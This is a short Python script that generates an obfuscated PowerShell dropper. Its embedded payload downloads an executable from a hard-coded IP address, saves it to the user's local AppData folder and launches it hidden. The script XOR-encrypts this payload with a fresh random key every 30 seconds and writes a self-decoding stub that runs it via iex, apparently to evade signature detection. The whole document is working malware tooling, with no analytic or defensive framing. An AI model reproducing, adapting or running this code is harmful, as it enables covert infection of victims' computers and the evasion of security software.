import time
import os
import random
import string

payload = r'''$url="http://45.12.62.60/hYUSFuhECoUIoy3cE.exe";$o="$env:LOCALAPPDATA\file.exe";Invoke-WebRequest -Uri $url -OutFile $o;Start-Process $o -WindowStyle Hidden -Wait'''

def generate_key(length=16):
    """Generate random key of specified length"""
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def encrypt(data: bytes, key: str) -> str:
    """XOR encrypt data with key, return hex string"""
    key_bytes = key.encode('utf-8')
    encrypted = bytes([ch ^ key_bytes[i % len(key_bytes)] for i, ch in enumerate(data)])
    return encrypted.hex()

def write_to_file(key: str, encrypted_data: str, filename: str = "EgdVJGKDVhdzssRFV"):
    """Write key and encrypted data to file in PowerShell format"""
    content = f'''$k='{key}';$d='{encrypted_data}';$r='';for($p=0;$p -lt $d.Length;$p+=2){{$idx=[Math]::Floor($p/2);$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-bxor[int][char]$k[$idx%$k.Length])}};iex $r'''
    
    with open(filename, 'w', encoding='utf-8') as f:
        f.write(content)
    
    print(f"[+] File {filename} updated. Key: {key}")

def main():
    print("[*] Generator started. Updating every 30 seconds. Press Ctrl+C to stop")
    
    while True:
        try:
            # Generate new random key
            key = generate_key(16)
            
            # Encrypt payload with new key
            encrypted_data = encrypt(payload.encode('utf-8'), key)
            
            # Write to file
            write_to_file(key, encrypted_data)
            
            # Wait 30 seconds
            time.sleep(30)
            
        except KeyboardInterrupt:
            print("\n[!] Stopped by user")
            break
        except Exception as e:
            print(f"[!] Error: {e}")
            time.sleep(5)

if __name__ == "__main__":
    main()